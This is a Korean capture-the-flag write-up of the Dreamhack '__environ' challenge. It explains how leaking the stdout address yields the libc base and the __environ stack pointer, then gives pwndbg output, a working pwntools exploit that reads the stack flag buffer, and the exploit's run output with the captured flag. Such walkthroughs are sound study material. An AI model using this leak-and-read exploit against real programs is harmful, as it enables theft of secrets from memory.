dreamhack - __environ writeup
[dreamhack] __environ writeup
1. 문제

Exploit Tech: __environ에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3632. 풀이
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void read_file() {
char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
read_file
함수를 통해 flag
파일에서 값을 읽어 file_buf
에 저장한뒤, stdout
의 주소를 출력해준다.
이후 원하는 주소를 입력하면 해당 주소에 있는 값을 문자열로 출력한다.
이 문제를 풀기위해서는 __environ
환경변수에 대해서 알아야한다.
환경변수는 시스템의 정보를 갖고있는 변수이다. 그런데 이 환경변수에 대한 정보는 스택 영역에 존재하는데 이를 가리키는 포인터가 필요하기 때문에 라이브러리 함수에 해당 포인터가 __environ으로 선언이 되어있다. 따라서 특정 라이브러리 주소를 알고 있다면 libc_base
를 구해서 __environ
포인터 주소를 구한뒤, 해당 포인터가 가리키는 주소의 값을 읽으면 스택영역의 주소를 알 수 있다.
이 문제에서는 결국 스택에 저장된 file_buf
를 읽어야하기 때문에 실행 시마다 변하는 스택 영역의 주소를 알아야한다. 여기서는 stdout
의 libc 주소를 알려주기 때문에 이를 기준으로 libc_base
주소를 구하고, __environ
주소를 구할 것이다.
그리고 코드에서 주소를 입력하면 해당 주소에 저장된 값을 문자열로 알려주기 때문에, 라이브러리에서의 __environ
주소를 입력하면 스택에 있는 환경변수 주소를 알 수 있을 것이다.
이 환경변수 주소와 file_buf
의 주소는 매번 달라지겠지만, 두 주소의 차이는 libc
를 구할 때와 같이 항상 같을 것이므로 gdb
를 통해 차이를 구해보겠다.
그 전에 patchelf
를 통해 바이너리를 서버환경과 같이 맞춰줘야한다.
ubuntu@instance-20250406-1126:~/dreamhack/level1/__environ$ patchelf --replace-needed libc.so.6 libc.so.6 environ
ubuntu@instance-20250406-1126:~/dreamhack/level1/__environ$ patchelf --set-rpath . environ
ubuntu@instance-20250406-1126:~/dreamhack/level1/__environ$ patchelf --set-interpreter ld-linux-x86-64.so.2 environ
ubuntu@instance-20250406-1126:~/dreamhack/level1/__environ$ ldd environ
linux-vdso.so.1 (0x00007ffec25e5000)
libc.so.6 => ./libc.so.6 (0x0000773bd0e00000)
ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x0000773bd122c000)
이제 먼저 __environ
라이브러리 주소와 스택에서의 주소를 구해보자.
pwndbg> p/x &__environ
$1 = 0x7ffff7e21200
pwndbg> x/gx 0x7ffff7e21200
0x7ffff7e21200 <environ>: 0x00007fffffffe2d8
__environ
스택주소는 0x00007fffffffe2d8
이다.
이어서 flag_buf
가 저장된 주소를 찾아야한다.
pwndbg> disass main
Dump of assembler code for function main:
=> 0x0000555555555366 <+0>: endbr64
0x000055555555536a <+4>: push rbp
0x000055555555536b <+5>: mov rbp,rsp
0x000055555555536e <+8>: sub rsp,0x420
0x0000555555555375 <+15>: mov rax,QWORD PTR fs:0x28
0x000055555555537e <+24>: mov QWORD PTR [rbp-0x8],rax
0x0000555555555382 <+28>: xor eax,eax
0x0000555555555384 <+30>: mov eax,0x0
0x0000555555555389 <+35>: call 0x55555555527b <init>
0x000055555555538e <+40>: mov eax,0x0
0x0000555555555393 <+45>: call 0x5555555552e0 <read_file>
0x0000555555555398 <+50>: mov rax,QWORD PTR [rip+0x2c71] # 0x555555558010 <stdout@GLIBC_2.2.5>
0x000055555555539f <+57>: mov rsi,rax
0x00005555555553a2 <+60>: lea rax,[rip+0xc62] # 0x55555555600b
0x00005555555553a9 <+67>: mov rdi,rax
0x00005555555553ac <+70>: mov eax,0x0
0x00005555555553b1 <+75>: call 0x5555555550f0 <printf@plt>
0x00005555555553b6 <+80>: lea rax,[rip+0xc5a] # 0x555555556017
0x00005555555553bd <+87>: mov rdi,rax
0x00005555555553c0 <+90>: mov eax,0x0
0x00005555555553c5 <+95>: call 0x5555555550f0 <printf@plt>
0x00005555555553ca <+100>: lea rax,[rbp-0x41c]
0x00005555555553d1 <+107>: mov rsi,rax
0x00005555555553d4 <+110>: lea rax,[rip+0xc3f] # 0x55555555601a
0x00005555555553db <+117>: mov rdi,rax
0x00005555555553de <+120>: mov eax,0x0
0x00005555555553e3 <+125>: call 0x555555555160 <__isoc99_scanf@plt>
0x00005555555553e8 <+130>: mov eax,DWORD PTR [rbp-0x41c]
0x00005555555553ee <+136>: cmp eax,0x1
0x00005555555553f1 <+139>: jne 0x555555555445 <main+223>
0x00005555555553f3 <+141>: lea rax,[rip+0xc23] # 0x55555555601d
0x00005555555553fa <+148>: mov rdi,rax
0x00005555555553fd <+151>: mov eax,0x0
0x0000555555555402 <+156>: call 0x5555555550f0 <printf@plt>
0x0000555555555407 <+161>: lea rax,[rbp-0x418]
0x000055555555540e <+168>: mov rsi,rax
0x0000555555555411 <+171>: lea rax,[rip+0xc0c] # 0x555555556024
0x0000555555555418 <+178>: mov rdi,rax
0x000055555555541b <+181>: mov eax,0x0
0x0000555555555420 <+186>: call 0x555555555160 <__isoc99_scanf@plt>
0x0000555555555425 <+191>: mov rax,QWORD PTR [rbp-0x418]
0x000055555555542c <+198>: mov rsi,rax
0x000055555555542f <+201>: lea rax,[rip+0xbf2] # 0x555555556028
0x0000555555555436 <+208>: mov rdi,rax
0x0000555555555439 <+211>: mov eax,0x0
0x000055555555543e <+216>: call 0x5555555550f0 <printf@plt>
0x0000555555555443 <+221>: jmp 0x555555555446 <main+224>
0x0000555555555445 <+223>: nop
0x0000555555555446 <+224>: jmp 0x5555555553b6 <main+80>
End of assembler dump.
main
함수에서 read_file
직후 (main_50
)에 breakpoint를 걸고 실행시켜보자.
pwndbg> b*main+50
Breakpoint 2 at 0x555555555398
pwndbg> c
Continuing.
Breakpoint 2, 0x0000555555555398 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
*RAX 0
RBX 0
*RCX 0x7ffff7d15117 (close+23) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0xfff
*RDI 3
*RSI 0x7fffffffcd70 ◂— 'DH{**flag**}\n'
*R8 0x7fffffffdcd0 ◂— 0
*R9 0
*R10 0
*R11 0x246
R12 0x7fffffffe2c8 —▸ 0x7fffffffe546 ◂— '/home/ubuntu/dreamhack/level1/__environ/environ'
R13 0x555555555366 (main) ◂— endbr64
R14 0x555555557d78 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555220 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
*RBP 0x7fffffffe1b0 ◂— 1
*RSP 0x7fffffffdd90 ◂— 1
*RIP 0x555555555398 (main+50) ◂— mov rax, qword ptr [rip + 0x2c71]
───────────────────────────────────[ DISASM / x86-64 / set emulate off ]───────────────────────────────────
0x555555555382 <main+28> xor eax, eax EAX => 0
0x555555555384 <main+30> mov eax, 0 EAX => 0
0x555555555389 <main+35> call init <init>
0x55555555538e <main+40> mov eax, 0 EAX => 0
0x555555555393 <main+45> call read_file <read_file>
► 0x555555555398 <main+50> mov rax, qword ptr [rip + 0x2c71] RAX, [stdout@GLIBC_2.2.5] => 0x7ffff7e1a780 (_IO_2_1_stdout_) ◂— 0xfbad2087
0x55555555539f <main+57> mov rsi, rax
0x5555555553a2 <main+60> lea rax, [rip + 0xc62] RAX => 0x55555555600b ◂— 'stdout: %p\n'
0x5555555553a9 <main+67> mov rdi, rax
0x5555555553ac <main+70> mov eax, 0 EAX => 0
0x5555555553b1 <main+75> call printf@plt <printf@plt>
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdd90 ◂— 1
01:0008│-418 0x7fffffffdd98 —▸ 0x7ffff7fbb1e0 —▸ 0x7ffff7c00000 ◂— 0x3010102464c457f
02:0010│-410 0x7fffffffdda0 —▸ 0x7ffff7fbbc10 —▸ 0x7ffff7c1e557 ◂— 'GLIBC_PRIVATE'
03:0018│-408 0x7fffffffdda8 —▸ 0x7ffff7fbb1e0 —▸ 0x7ffff7c00000 ◂— 0x3010102464c457f
04:0020│-400 0x7fffffffddb0 ◂— 0x100000000
05:0028│-3f8 0x7fffffffddb8 —▸ 0x7ffff7fbb550 —▸ 0x7ffff7ffe5a0 —▸ 0x7ffff7fbb780 —▸ 0x7ffff7ffe2e0 ◂— ...
06:0030│-3f0 0x7fffffffddc0 ◂— 0
07:0038│-3e8 0x7fffffffddc8 ◂— 0x7fff00000000
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► 0 0x555555555398 main+50
1 0x7ffff7c29d90 None
2 0x7ffff7c29e40 __libc_start_main+128
3 0x5555555551a5 _start+37
───────────────────────────────────────────────────────────────────────────────────────────────────────────
RSI
레지스터를 보면 이렇게 로컬의 플래그 값이 들어가 있는 것을 볼 수 있고, 이 주소는 0x7fffffffcd70
이다.
따라서 두 주소의 차이를 구하면 0x1568
이므로 이제 exploit을 작성해보자.
from pwn import *
#p = process("./environ")
p = remote("host3.dreamhack.games", 9408)
elf = ELF("./libc.so.6")
tmp = p.recvuntil("> ")
stdout_addr = int(tmp.split()[1], 16)
libc_base = stdout_addr - elf.symbols["_IO_2_1_stdout_"]
__environ = libc_base + elf.symbols["__environ"]
diff = 5480
print(f"__environ: {hex(__environ)}")
p.sendline("1")
p.recvuntil("Addr: ")
p.sendline(str(__environ))
tmp = p.recvuntil("> ")
__environ_stack = u64(tmp.split(b"> ")[0]+b"\00\x00")
flag_addr = __environ_stack - diff
print(flag_addr)
p.sendline("1")
p.sendlineafter("Addr: ", str(flag_addr))
print(p.recv(1024))
ubuntu@instance-20250406-1126:~/dreamhack/level1/__environ$ python3 e_environ.py
[+] Opening connection to host3.dreamhack.games on port 9408: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/__environ/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
/home/ubuntu/dreamhack/level1/__environ/e_environ.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
tmp = p.recvuntil("> ")
__environ: 0x7f656685e200
/home/ubuntu/dreamhack/level1/__environ/e_environ.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("1")
/home/ubuntu/dreamhack/level1/__environ/e_environ.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Addr: ")
/home/ubuntu/dreamhack/level1/__environ/e_environ.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(str(__environ))
/home/ubuntu/dreamhack/level1/__environ/e_environ.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
tmp = p.recvuntil("> ")
140732654741632
/home/ubuntu/dreamhack/level1/__environ/e_environ.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("1")
/home/ubuntu/dreamhack/level1/__environ/e_environ.py:28: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter("Addr: ", str(flag_addr))
/home/ubuntu/.local/lib/python3.12/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
b'DH{dd7e95bf7ea608017206757444a1ff168720e0d18ded2aef99558d00e063b8a1}\n'
[*] Closed connection to host3.dreamhack.games port 9408
주의할 점이라면, 문자열로 __environ
출력을 받아올 때 6바이트만 받아오기 때문에, 바로 u64
함수를 사용하면 안되고 2바이트를 추가해서 8바이트로 맞춰준 다음 수행해야한다.
환경변수가 어디에 위치하고, 어떻게 활용할 수 있을지에 대해서 알게된 문제였다.
해결~